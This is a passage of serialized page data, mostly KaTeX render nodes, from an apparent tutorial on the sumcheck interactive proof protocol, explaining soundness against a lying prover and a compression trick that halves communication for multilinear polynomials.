68,"props":107269,"children":107271},{"className":107270},[19172],[107272],{"type":24,"value":500},{"type":19,"tag":168,"props":107274,"children":107276},{"className":107275},[1439],[107277],{"type":24,"value":1452},{"type":19,"tag":168,"props":107279,"children":107281},{"className":107280},[19194],[107282],{"type":24,"value":524},{"type":19,"tag":168,"props":107284,"children":107286},{"className":107285,"style":1521},[1520],[],{"type":19,"tag":168,"props":107288,"children":107290},{"className":107289},[1526],[107291],{"type":24,"value":1811},{"type":19,"tag":168,"props":107293,"children":107295},{"className":107294,"style":1521},[1520],[],{"type":19,"tag":168,"props":107297,"children":107299},{"className":107298},[1428],[107300,107304,107361,107366,107371],{"type":19,"tag":168,"props":107301,"children":107303},{"className":107302,"style":1541},[1433],[],{"type":19,"tag":168,"props":107305,"children":107307},{"className":107306},[1439],[107308,107313],{"type":19,"tag":168,"props":107309,"children":107311},{"className":107310,"style":91021},[1439,19043],[107312],{"type":24,"value":106785},{"type":19,"tag":168,"props":107314,"children":107316},{"className":107315},[1456],[107317],{"type":19,"tag":168,"props":107318,"children":107320},{"className":107319},[1461,19097],[107321,107350],{"type":19,"tag":168,"props":107322,"children":107324},{"className":107323},[1466],[107325,107345],{"type":19,"tag":168,"props":107326,"children":107328},{"className":107327,"style":91064},[1471],[107329],{"type":19,"tag":168,"props":107330,"children":107331},{"style":91068},[107332,107336],{"type":19,"tag":168,"props":107333,"children":107335},{"className":107334,"style":1481},[1480],[],{"type":19,"tag":168,"props":107337,"children":107339},{"className":107338},[1486,1487,1488,1489],[107340],{"type":19,"tag":168,"props":107341,"children":107343},{"className":107342},[1439,19043,1489],[107344],{"type":24,"value":1157},{"type":19,"tag":168,"props":107346,"children":107348},{"className":107347},[19200],[107349],{"type":24,"value":19203},{"type":19,"tag":168,"props":107351,"children":107353},{"className":107352},[1466],[107354],{"type":19,"tag":168,"props":107355,"children":107357},{"className":107356,"style":90618},[1471],[107358],{"type":19,"tag":168,"props":107359,"children":107360},{},[],{"type":19,"tag":168,"props":107362,"children":107364},{"className":107363},[19172],[107365],{"type":24,"value":500},{"type":19,"tag":168,"props":107367,"children":107369},{"className":107368},[1439],[107370],{"type":24,"value":1442},{"type":19,"tag":168,"props":107372,"children":107374},{"className":107373},[19194],[107375],{"type":24,"value":524},{"type":24,"value":107377}," equals the previous claim. If the prover is lying about the original sum ",{"type":19,"tag":27,"props":107379,"children":107381},{"className":107380},[1411,1412],[107382],{"type":19,"tag":168,"props":107383,"children":107385},{"className":107384},[1417],[107386],{"type":19,"tag":168,"props":107387,"children":107389},{"className":107388,"ariaHidden":1423},[1422],[107390],{"type":19,"tag":168,"props":107391,"children":107393},{"className":107392},[1428],[107394,107398],{"type":19,"tag":168,"props":107395,"children":107397},{"className":107396,"style":19038},[1433],[],{"type":19,"tag":168,"props":107399,"children":107401},{"className":107400,"style":90769},[1439,19043],[107402],{"type":24,"value":90772},{"type":24,"value":107404},", then they must lie about ",{"type":19,"tag":27,"props":107406,"children":107408},{"className":107407},[1411,1412],[107409],{"type":19,"tag":168,"props":107410,"children":107412},{"className":107411},[1417],[107413],{"type":19,"tag":168,"props":107414,"children":107416},{"className":107415,"ariaHidden":1423},[1422],[107417],{"type":19,"tag":168,"props":107418,"children":107420},{"className":107419},[1428],[107421,107426],{"type":19,"tag":168,"props":107422,"children":107425},{"className":107423,"style":107424},[1433],"height:0.625em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":107427,"children":107429},{"className":107428},[1439],[107430,107435],{"type":19,"tag":168,"props":107431,"children":107433},{"className":107432,"style":91021},[1439,19043],[107434],{"type":24,"value":106785},{"type":19,"tag":168,"props":107436,"children":107438},{"className":107437},[1456],[107439],{"type":19,"tag":168,"props":107440,"children":107442},{"className":107441},[1461,19097],[107443,107472],{"type":19,"tag":168,"props":107444,"children":107446},{"className":107445},[1466],[107447,107467],{"type":19,"tag":168,"props":107448,"children":107450},{"className":107449,"style":91064},[1471],[107451],{"type":19,"tag":168,"props":107452,"children":107453},{"style":91068},[107454,107458],{"type":19,"tag":168,"props":107455,"children":107457},{"className":107456,"style":1481},[1480],[],{"type":19,"tag":168,"props":107459,"children":107461},{"className":107460},[1486,1487,1488,1489],[107462],{"type":19,"tag":168,"props":107463,"children":107465},{"className":107464},[1439,19043,1489],[107466],{"type":24,"value":1157},{"type":19,"tag":168,"props":107468,"children":107470},{"className":107469},[19200],[107471],{"type":24,"value":19203},{"type":19,"tag":168,"props":107473,"children":107475},{"className":107474},[1466],[107476],{"type":19,"tag":168,"props":107477,"children":107479},{"className":107478,"style":90618},[1471],[107480],{"type":19,"tag":168,"props":107481,"children":107482},{},[],{"type":24,"value":107484}," somewhere. But since the verifier picks a random ",{"type":19,"tag":27,"props":107486,"children":107488},{"className":107487},[1411,1412],[107489],{"type":19,"tag":168,"props":107490,"children":107492},{"className":107491},[1417],[107493],{"type":19,"tag":168,"props":107494,"children":107496},{"className":107495,"ariaHidden":1423},[1422],[107497],{"type":19,"tag":168,"props":107498,"children":107500},{"className":107499},[1428],[107501,107506],{"type":19,"tag":168,"props":107502,"children":107505},{"className":107503,"style":107504},[1433],"height:0.5806em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":107507,"children":107509},{"className":107508},[1439],[107510,107515],{"type":19,"tag":168,"props":107511,"children":107513},{"className":107512,"style":90535},[1439,19043],[107514],{"type":24,"value":91354},{"type":19,"tag":168,"props":107516,"children":107518},{"className":107517},[1456],[107519],{"type":19,"tag":168,"props":107520,"children":107522},{"className":107521},[1461,19097],[107523,107553],{"type":19,"tag":168,"props":107524,"children":107526},{"className":107525},[1466],[107527,107548],{"type":19,"tag":168,"props":107528,"children":107530},{"className":107529,"style":91064},[1471],[107531],{"type":19,"tag":168,"props":107532,"children":107534},{"style":107533},"top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;",[107535,107539],{"type":19,"tag":168,"props":107536,"children":107538},{"className":107537,"style":1481},[1480],[],{"type":19,"tag":168,"props":107540,"children":107542},{"className":107541},[1486,1487,1488,1489],[107543],{"type":19,"tag":168,"props":107544,"children":107546},{"className":107545},[1439,19043,1489],[107547],{"type":24,"value":1157},{"type":19,"tag":168,"props":107549,"children":107551},{"className":107550},[19200],[107552],{"type":24,"value":19203},{"type":19,"tag":168,"props":107554,"children":107556},{"className":107555},[1466],[107557],{"type":19,"tag":168,"props":107558,"children":107560},{"className":107559,"style":90618},[1471],[107561],{"type":19,"tag":168,"props":107562,"children":107563},{},[],{"type":24,"value":107565},", with overwhelming probability, the prover won't then be able to match the evaluation of the original polynomial.",{"type":19,"tag":16345,"props":107567,"children":107569},{"id":107568},"the-compression-trick",[107570],{"type":24,"value":107571},"The Compression Trick",{"type":19,"tag":20,"props":107573,"children":107574},{},[107575,107577,107727,107729,108009],{"type":24,"value":107576},"For degree-1 (multilinear) polynomials, ",{"type":19,"tag":27,"props":107578,"children":107580},{"className":107579},[1411,1412],[107581],{"type":19,"tag":168,"props":107582,"children":107584},{"className":107583},[1417],[107585],{"type":19,"tag":168,"props":107586,"children":107588},{"className":107587,"ariaHidden":1423},[1422],[107589,107682,107709],{"type":19,"tag":168,"props":107590,"children":107592},{"className":107591},[1428],[107593,107597,107654,107659,107664,107669,107673,107678],{"type":19,"tag":168,"props":107594,"children":107596},{"className":107595,"style":1541},[1433],[],{"type":19,"tag":168,"props":107598,"children":107600},{"className":107599},[1439],[107601,107606],{"type":19,"tag":168,"props":107602,"children":107604},{"className":107603,"style":91021},[1439,19043],[107605],{"type":24,"value":106785},{"type":19,"tag":168,"props":107607,"children":107609},{"className":107608},[1456],[107610],{"type":19,"tag":168,"props":107611,"children":107613},{"className":107612},[1461,19097],[107614,107643],{"type":19,"tag":168,"props":107615,"children":107617},{"className":107616},[1466],[107618,107638],{"type":19,"tag":168,"props":107619,"children":107621},{"className":107620,"style":91064},[1471],[107622],{"type":19,"tag":168,"props":107623,"children":107624},{"style":91068},[107625,107629],{"type":19,"tag":168,"props":107626,"children":107628},{"className":107627,"style":1481},[1480],[],{"type":19,"tag":168,"props":107630,"children":107632},{"className":107631},[1486,1487,1488,1489],[107633],{"type":19,"tag":168,"props":107634,"children":107636},{"className":107635},[1439,19043,1489],[107637],{"type":24,"value":1157},{"type":19,"tag":168,"props":107639,"children":107641},{"className":107640},[19200],[107642],{"type":24,"value":19203},{"type":19,"tag":168,"props":107644,"children":107646},{"className":107645},[1466],[107647],{"type":19,"tag":168,"props":107648,"children":107650},{"className":107649,"style":90618},[1471],[107651],{"type":19,"tag":168,"props":107652,"children":107653},{},[],{"type":19,"tag":168,"props":107655,"children":107657},{"className":107656},[19172],[107658],{"type":24,"value":500},{"type":19,"tag":168,"props":107660,"children":107662},{"className":107661,"style":92555},[1439,19043],[107663],{"type":24,"value":3568},{"type":19,"tag":168,"props":107665,"children":107667},{"className":107666},[19194],[107668],{"type":24,"value":524},{"type":19,"tag":168,"props":107670,"children":107672},{"className":107671,"style":1618},[1520],[],{"type":19,"tag":168,"props":107674,"children":107676},{"className":107675},[1623],[107677],{"type":24,"value":486},{"type":19,"tag":168,"props":107679,"children":107681},{"className":107680,"style":1618},[1520],[],{"type":19,"tag":168,"props":107683,"children":107685},{"className":107684},[1428],[107686,107691,107696,107700,107705],{"type":19,"tag":168,"props":107687,"children":107690},{"className":107688,"style":107689},[1433],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":19,"tag":168,"props":107692,"children":107694},{"className":107693},[1439,19043],[107695],{"type":24,"value":269},{"type":19,"tag":168,"props":107697,"children":107699},{"className":107698,"style":1521},[1520],[],{"type":19,"tag":168,"props":107701,"children":107703},{"className":107702},[1526],[107704],{"type":24,"value":1811},{"type":19,"tag":168,"props":107706,"children":107708},{"className":107707,"style":1521},[1520],[],{"type":19,"tag":168,"props":107710,"children":107712},{"className":107711},[1428],[107713,107717,107722],{"type":19,"tag":168,"props":107714,"children":107716},{"className":107715,"style":90450},[1433],[],{"type":19,"tag":168,"props":107718,"children":107720},{"className":107719},[1439,19043],[107721],{"type":24,"value":621},{"type":19,"tag":168,"props":107723,"children":107725},{"className":107724,"style":92555},[1439,19043],[107726],{"type":24,"value":3568},{"type":24,"value":107728}," has only two coefficients. Since the verifier knows ",{"type":19,"tag":27,"props":107730,"children":107732},{"className":107731},[1411,1412],[107733],{"type":19,"tag":168,"props":107734,"children":107736},{"className":107735},[1417],[107737],{"type":19,"tag":168,"props":107738,"children":107740},{"className":107739,"ariaHidden":1423},[1422],[107741,107834,107927],{"type":19,"tag":168,"props":107742,"children":107744},{"className":107743},[1428],[107745,107749,107806,107811,107816,107821,107825,107830],{"type":19,"tag":168,"props":107746,"children":107748},{"className":107747,"style":1541},[1433],[],{"type":19,"tag":168,"props":107750,"children":107752},{"className":107751},[1439],[107753,107758],{"type":19,"tag":168,"props":107754,"children":107756},{"className":107755,"style":91021},[1439,19043],[107757],{"type":24,"value":106785},{"type":19,"tag":168,"props":107759,"children":107761},{"className":107760},[1456],[107762],{"type":19,"tag":168,"props":107763,"children":107765},{"className":107764},[1461,19097],[107766,107795],{"type":19,"tag":168,"props":107767,"children":107769},{"className":107768},[1466],[107770,107790],{"type":19,"tag":168,"props":107771,"children":107773},{"className":107772,"style":91064},[1471],[107774],{"type":19,"tag":168,"props":107775,"children":107776},{"style":91068},[107777,107781],{"type":19,"tag":168,"props":107778,"children":107780},{"className":107779,"style":1481},[1480],[],{"type":19,"tag":168,"props":107782,"children":107784},{"className":107783},[1486,1487,1488,1489],[107785],{"type":19,"tag":168,"props":107786,"children":107788},{"className":107787},[1439,19043,1489],[107789],{"type":24,"value":1157},{"type":19,"tag":168,"props":107791,"children":107793},{"className":107792},[19200],[107794],{"type":24,"value":19203},{"type":19,"tag":168,"props":107796,"children":107798},{"className":107797},[1466],[107799],{"type":19,"tag":168,"props":107800,"children":107802},{"className":107801,"style":90618},[1471],[107803],{"type":19,"tag":168,"props":107804,"children":107805},{},[],{"type":19,"tag":168,"props":107807,"children":107809},{"className":107808},[19172],[107810],{"type":24,"value":500},{"type":19,"tag":168,"props":107812,"children":107814},{"className":107813},[1439],[107815],{"type":24,"value":1452},{"type":19,"tag":168,"props":107817,"children":107819},{"className":107818},[19194],[107820],{"type":24,"value":524},{"type":19,"tag":168,"props":107822,"children":107824},{"className":107823,"style":1521},[1520],[],{"type":19,"tag":168,"props":107826,"children":107828},{"className":107827},[1526],[107829],{"type":24,"value":1811},{"type":19,"tag":168,"props":107831,"children":107833},{"className":107832,"style":1521},[1520],[],{"type":19,"tag":168,"props":107835,"children":107837},{"className":107836},[1428],[107838,107842,107899,107904,107909,107914,107918,107923],{"type":19,"tag":168,"props":107839,"children":107841},{"className":107840,"style":1541},[1433],[],{"type":19,"tag":168,"props":107843,"children":107845},{"className":107844},[1439],[107846,107851],{"type":19,"tag":168,"props":107847,"children":107849},{"className":107848,"style":91021},[1439,19043],[107850],{"type":24,"value":106785},{"type":19,"tag":168,"props":107852,"children":107854},{"className":107853},[1456],[107855],{"type":19,"tag":168,"props":107856,"children":107858},{"className":107857},[1461,19097],[107859,107888],{"type":19,"tag":168,"props":107860,"children":107862},{"className":107861},[1466],[107863,107883],{"type":19,"tag":168,"props":107864,"children":107866},{"className":107865,"style":91064},[1471],[107867],{"type":19,"tag":168,"props":107868,"children":107869},{"style":91068},[107870,107874],{"type":19,"tag":168,"props":107871,"children":107873},{"className":107872,"style":1481},[1480],[],{"type":19,"tag":168,"props":107875,"children":107877},{"className":107876},[1486,1487,1488,1489],[107878],{"type":19,"tag":168,"props":107879,"children":107881},{"className":107880},[1439,19043,1489],[107882],{"type":24,"value":1157},{"type":19,"tag":168,"props":107884,"children":107886},{"className":107885},[19200],[107887],{"type":24,"value":19203},{"type":19,"tag":168,"props":107889,"children":107891},{"className":107890},[1466],[107892],{"type":19,"tag":168,"props":107893,"children":107895},{"className":107894,"style":90618},[1471],[107896],{"type":19,"tag":168,"props":107897,"children":107898},{},[],{"type":19,"tag":168,"props":107900,"children":107902},{"className":107901},[19172],[107903],{"type":24,"value":500},{"type":19,"tag":168,"props":107905,"children":107907},{"className":107906},[1439],[107908],{"type":24,"value":1442},{"type":19,"tag":168,"props":107910,"children":107912},{"className":107911},[19194],[107913],{"type":24,"value":524},{"type":19,"tag":168,"props":107915,"children":107917},{"className":107916,"style":1618},[1520],[],{"type":19,"tag":168,"props":107919,"children":107921},{"className":107920},[1623],[107922],{"type":24,"value":486},{"type":19,"tag":168,"props":107924,"children":107926},{"className":107925,"style":1618},[1520],[],{"type":19,"tag":168,"props":107928,"children":107930},{"className":107929},[1428],[107931,107936],{"type":19,"tag":168,"props":107932,"children":107935},{"className":107933,"style":107934},[1433],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":19,"tag":168,"props":107937,"children":107939},{"className":107938},[1439],[107940,107945],{"type":19,"tag":168,"props":107941,"children":107943},{"className":107942,"style":90769},[1439,19043],[107944],{"type":24,"value":90772},{"type":19,"tag":168,"props":107946,"children":107948},{"className":107947},[1456],[107949],{"type":19,"tag":168,"props":107950,"children":107952},{"className":107951},[1461,19097],[107953,107997],{"type":19,"tag":168,"props":107954,"children":107956},{"className":107955},[1466],[107957,107992],{"type":19,"tag":168,"props":107958,"children":107960},{"className":107959,"style":91064},[1471],[107961],{"type":19,"tag":168,"props":107962,"children":107964},{"style":107963},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[107965,107969],{"type":19,"tag":168,"props":107966,"children":107968},{"className":107967,"style":1481},[1480],[],{"type":19,"tag":168,"props":107970,"children":107972},{"className":107971},[1486,1487,1488,1489],[107973],{"type":19,"tag":168,"props":107974,"children":107976},{"className":107975},[1439,1489],[107977,107982,107987],{"type":19,"tag":168,"props":107978,"children":107980},{"className":107979},[1439,19043,1489],[107981],{"type":24,"value":1157},{"type":19,"tag":168,"props":107983,"children":107985},{"className":107984},[1526,1489],[107986],{"type":24,"value":1500},{"type":19,"tag":168,"props":107988,"children":107990},{"className":107989},[1439,1489],[107991],{"type":24,"value":1442},{"type":19,"tag":168,"props":107993,"children":107995},{"className":107994},[19200],[107996],{"type":24,"value":19203},{"type":19,"tag":168,"props":107998,"children":108000},{"className":107999},[1466],[108001],{"type":19,"tag":168,"props":108002,"children":108005},{"className":108003,"style":108004},[1471],"height:0.2083em;",[108006],{"type":19,"tag":168,"props":108007,"children":108008},{},[],{"type":24,"value":108010}," (the previous claim), we have:",{"type":19,"tag":20,"props":108012,"children":108013},{},[108014],{"type":19,"tag":27,"props":108015,"children":108017},{"className":108016},[1411,1412],[108018],{"type":19,"tag":168,"props":108019,"children":108021},{"className":108020},[1417],[108022],{"type":19,"tag":168,"props":108023,"children":108025},{"className":108024,"ariaHidden":1423},[1422],[108026,108052,108083,108114,108215,108241,108333],{"type":19,"tag":168,"props":108027,"children":108029},{"className":108028},[1428],[108030,108034,108039,108043,108048],{"type":19,"tag":168,"props":108031,"children":108033},{"className":108032,"style":107689},[1433],[],{"type":19,"tag":168,"props":108035,"children":108037},{"className":108036},[1439,19043],[108038],{"type":24,"value":269},{"type":19,"tag":168,"props":108040,"children":108042},{"className":108041,"style":1521},[1520],[],{"type":19,"tag":168,"props":108044,"children":108046},{"className":108045},[1526],[108047],{"type":24,"value":1811},{"type":19,"tag":168,"props":108049,"children":108051},{"className":108050,"style":1521},[1520],[],{"type":19,"tag":168,"props":108053,"children":108055},{"className":108054},[1428],[108056,108060,108065,108070,108074,108079],{"type":19,"tag":168,"props":108057,"children":108059},{"className":108058,"style":1541},[1433],[],{"type":19,"tag":168,"props":108061,"children":108063},{"className":108062},[19172],[108064],{"type":24,"value":500},{"type":19,"tag":168,"props":108066,"children":108068},{"className":108067},[1439,19043],[108069],{"type":24,"value":269},{"type":19,"tag":168,"props":108071,"children":108073},{"className":108072,"style":1521},[1520],[],{"type":19,"tag":168,"props":108075,"children":108077},{"className":108076},[1526],[108078],{"type":24,"value":1811},{"type":19,"tag":168,"props":108080,"children":108082},{"className":108081,"style":1521},[1520],[],{"type":19,"tag":168,"props":108084,"children":108086},{"className":108085},[1428],[108087,108091,108096,108101,108105,108110],{"type":19,"tag":168,"props":108088,"children":108090},{"className":108089,"style":1541},[1433],[],{"type":19,"tag":168,"props":108092,"children":108094},{"className":108093},[1439,19043],[108095],{"type":24,"value":621},{"type":19,"tag":168,"props":108097,"children":108099},{"className":108098},[19194],[108100],{"type":24,"value":524},{"type":19,"tag":168,"props":108102,"children":108104},{"className":108103,"style":1618},[1520],[],{"type":19,"tag":168,"props":108106,"children":108108},{"className":108107},[1623],[108109],{"type":24,"value":486},{"type":19,"tag":168,"props":108111,"children":108113},{"className":108112,"style":1618},[1520],[],{"type":19,"tag":168,"props":108115,"children":108117},{"className":108116},[1428],[108118,108122,108193,108197,108201,108207,108211],{"type":19,"tag":168,"props":108119,"children":108121},{"className":108120,"style":107934},[1433],[],{"type":19,"tag":168,"props":108123,"children":108125},{"className":108124},[1439],[108126,108131],{"type":19,"tag":168,"props":108127,"children":108129},{"className":108128,"style":90769},[1439,19043],[108130],{"type":24,"value":90772},{"type":19,"tag":168,"props":108132,"children":108134},{"className":108133},[1456],[108135],{"type":19,"tag":168,"props":108136,"children":108138},{"className":108137},[1461,19097],[108139,108182],{"type":19,"tag":168,"props":108140,"children":108142},{"className":108141},[1466],[108143,108177],{"type":19,"tag":168,"props":108144,"children":108146},{"className":108145,"style":91064},[1471],[108147],{"type":19,"tag":168,"props":108148,"children":108149},{"style":107963},[108150,108154],{"type":19,"tag":168,"props":108151,"children":108153},{"className":108152,"style":1481},[1480],[],{"type":19,"tag":168,"props":108155,"children":108157},{"className":108156},[1486,1487,1488,1489],[108158],{"type":19,"tag":168,"props":108159,"children":108161},{"className":108160},[1439,1489],[108162,108167,108172],{"type":19,"tag":168,"props":108163,"children":108165},{"className":108164},[1439,19043,1489],[108166],{"type":24,"value":1157},{"type":19,"tag":168,"props":108168,"children":108170},{"className":108169},[1526,1489],[108171],{"type":24,"value":1500},{"type":19,"tag":168,"props":108173,"children":108175},{"className":108174},[1439,1489],[108176],{"type":24,"value":1442},{"type":19,"tag":168,"props":108178,"children":108180},{"className":108179},[19200],[108181],{"type":24,"value":19203},{"type":19,"tag":168,"props":108183,"children":108185},{"className":108184},[1466],[108186],{"type":19,"tag":168,"props":108187,"children":108189},{"className":108188,"style":108004},[1471],[108190],{"type":19,"tag":168,"props":108191,"children":108192},{},[],{"type":19,"tag":168,"props":108194,"children":108196},{"className":108195,"style":1618},[1520],[],{"type":19,"tag":168,"props":108198,"children":108200},{"className":108199,"style":1618},[1520],[],{"type":19,"tag":168,"props":108202,"children":108204},{"className":108203},[1623],[108205],{"type":24,"value":108206},"⟹",{"type":19,"tag":168,"props":108208,"children":108210},{"className":108209,"style":1618},[1520],[],{"type":19,"tag":168,"props":108212,"children":108214},{"className":108213,"style":1618},[1520],[],{"type":19,"tag":168,"props":108216,"children":108218},{"className":108217},[1428],[108219,108223,108228,108232,108237],{"type":19,"tag":168,"props":108220,"children":108222},{"className":108221,"style":90450},[1433],[],{"type":19,"tag":168,"props":108224,"children":108226},{"className":108225},[1439,19043],[108227],{"type":24,"value":621},{"type":19,"tag":168,"props":108229,"children":108231},{"className":108230,"style":1618},[1520],[],{"type":19,"tag":168,"props":108233,"children":108235},{"className":108234},[1623],[108236],{"type":24,"value":486},{"type":19,"tag":168,"props":108238,"children":108240},{"className":108239,"style":1618},[1520],[],{"type":19,"tag":168,"props":108242,"children":108244},{"className":108243},[1428],[108245,108249,108320,108324,108329],{"type":19,"tag":168,"props":108246,"children":108248},{"className":108247,"style":107934},[1433],[],{"type":19,"tag":168,"props":108250,"children":108252},{"className":108251},[1439],[108253,108258],{"type":19,"tag":168,"props":108254,"children":108256},{"className":108255,"style":90769},[1439,19043],[108257],{"type":24,"value":90772},{"type":19,"tag":168,"props":108259,"children":108261},{"className":108260},[1456],[108262],{"type":19,"tag":168,"props":108263,"children":108265},{"className":108264},[1461,19097],[108266,108309],{"type":19,"tag":168,"props":108267,"children":108269},{"className":108268},[1466],[108270,108304],{"type":19,"tag":168,"props":108271,"children":108273},{"className":108272,"style":91064},[1471],[108274],{"type":19,"tag":168,"props":108275,"children":108276},{"style":107963},[108277,108281],{"type":19,"tag":168,"props":108278,"children":108280},{"className":108279,"style":1481},[1480],[],{"type":19,"tag":168,"props":108282,"children":108284},{"className":108283},[1486,1487,1488,1489],[108285],{"type":19,"tag":168,"props":108286,"children":108288},{"className":108287},[1439,1489],[108289,108294,108299],{"type":19,"tag":168,"props":108290,"children":108292},{"className":108291},[1439,19043,1489],[108293],{"type":24,"value":1157},{"type":19,"tag":168,"props":108295,"children":108297},{"className":108296},[1526,1489],[108298],{"type":24,"value":1500},{"type":19,"tag":168,"props":108300,"children":108302},{"className":108301},[1439,1489],[108303],{"type":24,"value":1442},{"type":19,"tag":168,"props":108305,"children":108307},{"className":108306},[19200],[108308],{"type":24,"value":19203},{"type":19,"tag":168,"props":108310,"children":108312},{"className":108311},[1466],[108313],{"type":19,"tag":168,"props":108314,"children":108316},{"className":108315,"style":108004},[1471],[108317],{"type":19,"tag":168,"props":108318,"children":108319},{},[],{"type":19,"tag":168,"props":108321,"children":108323},{"className":108322,"style":1521},[1520],[],{"type":19,"tag":168,"props":108325,"children":108327},{"className":108326},[1526],[108328],{"type":24,"value":1500},{"type":19,"tag":168,"props":108330,"children":108332},{"className":108331,"style":1521},[1520],[],{"type":19,"tag":168,"props":108334,"children":108336},{"className":108335},[1428],[108337,108341,108346],{"type":19,"tag":168,"props":108338,"children":108340},{"className":108339,"style":91566},[1433],[],{"type":19,"tag":168,"props":108342,"children":108344},{"className":108343},[1439],[108345],{"type":24,"value":519},{"type":19,"tag":168,"props":108347,"children":108349},{"className":108348},[1439,19043],[108350],{"type":24,"value":269},{"type":19,"tag":20,"props":108352,"children":108353},{},[108354,108356,108475,108477,108502],{"type":24,"value":108355},"So the prover only sends ",{"type":19,"tag":27,"props":108357,"children":108359},{"className":108358},[1411,1412],[108360],{"type":19,"tag":168,"props":108361,"children":108363},{"className":108362},[1417],[108364],{"type":19,"tag":168,"props":108365,"children":108367},{"className":108366,"ariaHidden":1423},[1422],[108368,108395],{"type":19,"tag":168,"props":108369,"children":108371},{"className":108370},[1428],[108372,108377,108382,108386,108391],{"type":19,"tag":168,"props":108373,"children":108376},{"className":108374,"style":108375},[1433],"height:0.4306em;",[],{"type":19,"tag":168,"props":108378,"children":108380},{"className":108379},[1439,19043],[108381],{"type":24,"value":269},{"type":19,"tag":168,"props":108383,"children":108385},{"className":108384,"style":1618},[1520],[],{"type":19,"tag":168,"props":108387,"children":108389},{"className":108388},[1623],[108390],{"type":24,"value":486},{"type":19,"tag":168,"props":108392,"children":108394},{"className":108393,"style":1618},[1520],[],{"type":19,"tag":168,"props":108396,"children":108398},{"className":108397},[1428],[108399,108403,108460,108465,108470],{"type":19,"tag":168,"props":108400,"children":108402},{"className":108401,"style":1541},[1433],[],{"type":19,"tag":168,"props":108404,"children":108406},{"className":108405},[1439],[108407,108412],{"type":19,"tag":168,"props":108408,"children":108410},{"className":108409,"style":91021},[1439,19043],[108411],{"type":24,"value":106785},{"type":19,"tag":168,"props":108413,"children":108415},{"className":108414},[1456],[108416],{"type":19,"tag":168,"props":108417,"children":108419},{"className":108418},[1461,19097],[108420,108449],{"type":19,"tag":168,"props":108421,"children":108423},{"className":108422},[1466],[108424,108444],{"type":19,"tag":168,"props":108425,"children":108427},{"className":108426,"style":91064},[1471],[108428],{"type":19,"tag":168,"props":108429,"children":108430},{"style":91068},[108431,108435],{"type":19,"tag":168,"props":108432,"children":108434},{"className":108433,"style":1481},[1480],[],{"type":19,"tag":168,"props":108436,"children":108438},{"className":108437},[1486,1487,1488,1489],[108439],{"type":19,"tag":168,"props":108440,"children":108442},{"className":108441},[1439,19043,1489],[108443],{"type":24,"value":1157},{"type":19,"tag":168,"props":108445,"children":108447},{"className":108446},[19200],[108448],{"type":24,"value":19203},{"type":19,"tag":168,"props":108450,"children":108452},{"className":108451},[1466],[108453],{"type":19,"tag":168,"props":108454,"children":108456},{"className":108455,"style":90618},[1471],[108457],{"type":19,"tag":168,"props":108458,"children":108459},{},[],{"type":19,"tag":168,"props":108461,"children":108463},{"className":108462},[19172],[108464],{"type":24,"value":500},{"type":19,"tag":168,"props":108466,"children":108468},{"className":108467},[1439],[108469],{"type":24,"value":1452},{"type":19,"tag":168,"props":108471,"children":108473},{"className":108472},[19194],[108474],{"type":24,"value":524},{"type":24,"value":108476},", and the verifier recovers ",{"type":19,"tag":27,"props":108478,"children":108480},{"className":108479},[1411,1412],[108481],{"type":19,"tag":168,"props":108482,"children":108484},{"className":108483},[1417],[108485],{"type":19,"tag":168,"props":108486,"children":108488},{"className":108487,"ariaHidden":1423},[1422],[108489],{"type":19,"tag":168,"props":108490,"children":108492},{"className":108491},[1428],[108493,108497],{"type":19,"tag":168,"props":108494,"children":108496},{"className":108495,"style":90450},[1433],[],{"type":19,"tag":168,"props":108498,"children":108500},{"className":108499},[1439,19043],[108501],{"type":24,"value":621},{"type":24,"value":108503},". This saves 50% on communication costs.",{"type":19,"tag":20,"props":108505,"children":108506},{},[108507],{"type":24,"value":108508},"The next claim in the chain is",{"type":19,"tag":20,"props":108510,"children":108511},{},[108512],{"type":19,"tag":27,"props":108513,"children":108515},{"className":108514},[1411,1412],[108516],{"type":19,"tag":168,"props":108517,"children":108519},{"className":108518},[1417],[108520],{"type":19,"tag":168,"props":108521,"children":108523},{"className":108522,"ariaHidden":1423},[1422],[108524,108603,108748,108774,108801,108879,108905,109002,109038,109116,109152,109240,109332],{"type":19,"tag":168,"props":108525,"children":108527},{"className":108526},[1428],[108528,108533,108590,108594,108599],{"type":19,"tag":168,"props":108529,"children":108532},{"className":108530,"style":108531},[1433],"height:0.8333em;vertical-align:-0.15em;",[],{"type":19,"tag":168,"props":108534,"children":108536},{"className":108535},[1439],[108537,108542],{"type":19,"tag":168,"props":108538,"children":108540},{"className":108539,"style":90769},[1439,19043],[108541],{"type":24,"value":90772},{"type":19,"tag":168,"props":108543,"children":108545},{"className":108544},[1456],[108546],{"type":19,"tag":168,"props":108547,"children":108549},{"className":108548},[1461,19097],[108550,108579],{"type":19,"tag":168,"props":108551,"children":108553},{"className":108552},[1466],[108554,108574],{"type":19,"tag":168,"props":108555,"children":108557},{"className":108556,"style":91064},[1471],[108558],{"type":19,"tag":168,"props":108559,"children":108560},{"style":107963},[108561,108565],{"type":19,"tag":168,"props":108562,"children":108564},{"className":108563,"style":1481},[1480],[],{"type":19,"tag":168,"props":108566,"children":108568},{"className":108567},[1486,1487,1488,1489],[108569],{"type":19,"tag":168,"props":108570,"children":108572},{"className":108571},[1439,19043,1489],[108573],{"type":24,"value":1157},{"type":19,"tag":168,"props":108575,"children":108577},{"className":108576},[19200],[108578],{"type":24,"value":19203},{"type":19,"tag":168,"props":108580,"children":108582},{"className":108581},[1466],[108583],{"type":19,"tag":168,"props":108584,"children":108586},{"className":108585,"style":90618},[1471],[108587],{"type":19,"tag":168,"props":108588,"children":108589},{},[],{"type":19,"tag":168,"props":108591,"children":108593},{"className":108592,"style":1618},[1520],[],{"type":19,"tag":168,"props":108595,"children":108597},{"className":108596},[1623],[108598],{"type":24,"value":486},{"type":19,"tag":168,"props":108600,"children":108602},{"className":108601,"style":1618},[1520],[],{"type":19,"tag":168,"props":108604,"children":108606},{"className":108605},[1428],[108607,108611,108668,108673,108730,108735,108739,108744],{"type":19,"tag":168,"props":108608,"children":108610},{"className":108609,"style":1541},[1433],[],{"type":19,"tag":168,"props":108612,"children":108614},{"className":108613},[1439],[108615,108620],{"type":19,"tag":168,"props":108616,"children":108618},{"className":108617,"style":91021},[1439,19043],[108619],{"type":24,"value":106785},{"type":19,"tag":168,"props